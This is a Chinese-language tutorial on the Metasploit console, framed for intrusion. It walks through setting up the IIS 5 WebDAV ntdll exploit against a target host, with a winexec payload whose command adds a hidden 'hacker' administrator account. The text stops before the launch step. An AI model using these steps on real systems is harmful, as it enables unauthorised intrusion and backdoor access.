Metasploit使用教程
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
工具包分Linux/Unix版的和Windows版,考虑到大多数人都是使用的Windows系统,这里我把Windows版的Metasploit使用方法说明一下,至于Linux/Unix下的使用方法和Windo ws下的也是大同小异,这里就不额外的说明了。
下载回Metasploit的安装程序之后双击安装,傻瓜化的安装过程,这里就不多说了。安装完成后可以看到安装目录下多了很多文件,主要的是:Msfconsole.bat和Msfweb.bat。第一个是这个工具包的控制台,第二个是这个程序的图形界面下的程序,下面我将和大家一起来领略它们的魅力!。
命令行下使用Metasploit
运行后首先看到的是Metasploit欢迎界面,我们输入“?”得到在线帮助(如图1所示):
可以看到里面有很多的命令,下面我将最重要的几个做简单解释:
“?”:得到帮助。
“cd”:更换当前的工作目录。
“exit”:退出。
“help”:得到帮助。
“info”:显示当前程序的信息。
“quit”:推出程序。
“reload”:载入Exploit和payloads。
“save”:保存当前设置
“setg”:设置一个环境变量。
“show”:显示可用的Exploit和payloads。
“use”:使用一个Exploit。
“version”:显示程序的版本。
虽然有这么多的命令可是常用的也就是“show”、“info”和“use”而已,它们究竟怎么使用呢?
此程序集成了众多的Exploit,所以我们要先了解一下程序中到底有那些溢出工具包,输入“sh ow Exploits”看有哪些可用的Exploit程序先(如图2所示):
左面显示的是溢出程序的程序名称,右面是相应的简介。可以看到Metasploit中带的溢出程序包还是很多的,完全可以满足我们日常入侵的需要,以后我们就再也不用到存放溢出程序的文件夹中去找半天对应的程序了!
知道了有什么溢出程序,但是怎么使用呢?一般情况下,当我们拿到一个溢出程序后要先阅读溢出程序的帮助文件来查看使用方法,在Metasploit中怎样查看我们需要的溢出程序的使用方法呢?这就用到了Info命令。该命令的作用是显示溢出程序包的详细信息,比如我们想要查看“iis50_webday_ntdll”溢出工具包的使用方法,在命令行下输入:“info Exploit iis50_ webday_ntdll”后得到如图3所示的回显:
蝴蝶:在图3中我们需要注意的是一开始的部分和Available Options中的内容,开始的内容可以告诉我们这个溢出程序是针对什么系统的,而Available Options中的内容是我们下一步所要用到的。
这里需要说明的是在输入的命令中的Exploit是向程序指明我们要查看的是Exploit的信息,当然可以查看的还有Payload的信息,但Payload是什么呢?其实说白了Payload就是我们平时说的ShellCode。在Metasploit中,溢出所用的ShellCode并不像我们平时用到的溢出工具一样,Metasploit允许我们自己选择自己喜欢的ShellCode,这样就大大提高了溢出的灵活行。在命令行下输入“show payloads”后可以看到可用的ShellCode列表(如图4所示):
同样,左面是ShellCode的名字,右面是相应的简介。我们再用Info命令来看一下ShellCode 的具体信息,比如我们对一个叫Winexec的ShellCode比较感兴趣,在命令行下输入:Info
payload winexec,如图5所示。
在这个对话框中需要注意的同样是开头的信息和Available Options中的内容。在Available Options中,我们可以看到有Required和Optional的字样,Required 代表必选的意思Opt ional代表是可选可不选的。在下面的具体使用中我们需要用到这里面的选项。
蝴蝶:这里需要说明的是,以BSD开头的是针对BSD系统的ShellCode,以Linx开头的是针对Linux系统的ShellCode,以CMD和WIN开头的是针对Windows系统。因为为不同的系统对不同的ShellCode要求是不一样的,所一在此一定要选择合适的ShellCode才可以成功溢出。
看了这么多基本的命令介绍,下面我们实际溢出一次看看效果!
在实际的溢出中,我们要用到的是USE命令。这里我们仍然以“iis50_webdav_ntdll”溢出工具包为例。在命令行中输入“use iis50_webdav_ntdll”后会切换到“iis50_webdav_ntdll”目录下。输入Show options,查看溢出工具包要求指定输入的内容。如图6所示:
可以看到有两个Required项,这里的Required是和图3中一致的。下面我们来设置这些必须的选项,在命令行下依次输入:
set RHOST 192.168.1.3
set RPORT 80
如图7所示:
在Metasploit中,ShellCode是可自己指定的,怎样指定呢?很简单,依次输入输入:
set payload winexec
set CMD net user hacker 123 /add & net localgroup administrators hacker /add 如图8所示。
第一个命令是指定我们需要用什么样的ShellCode,但是第2个命令是什么意思呢?大家现在回过头去看看图5。发现了什么?呵呵,还记得我提到过的必选项吗?看看Available Options 中的CMD必选项和后面的说明。是的,这里的第2个命令的意思就是设置必选项CMD,其实设置的CMD的内容就是我们想要执行的命令。至于什么命令那就看大家的需要了!
好了最基本的设置我们已经完成,最后指明目标主机的操作系统就可以发动攻击了,输入:show targets
可以看到可供选择的操作系统类型的代表名称。接着输入:
set target 0
选定操作系统。OK,我们确认一下,输入:
Set
可以看到如图9所示的回显: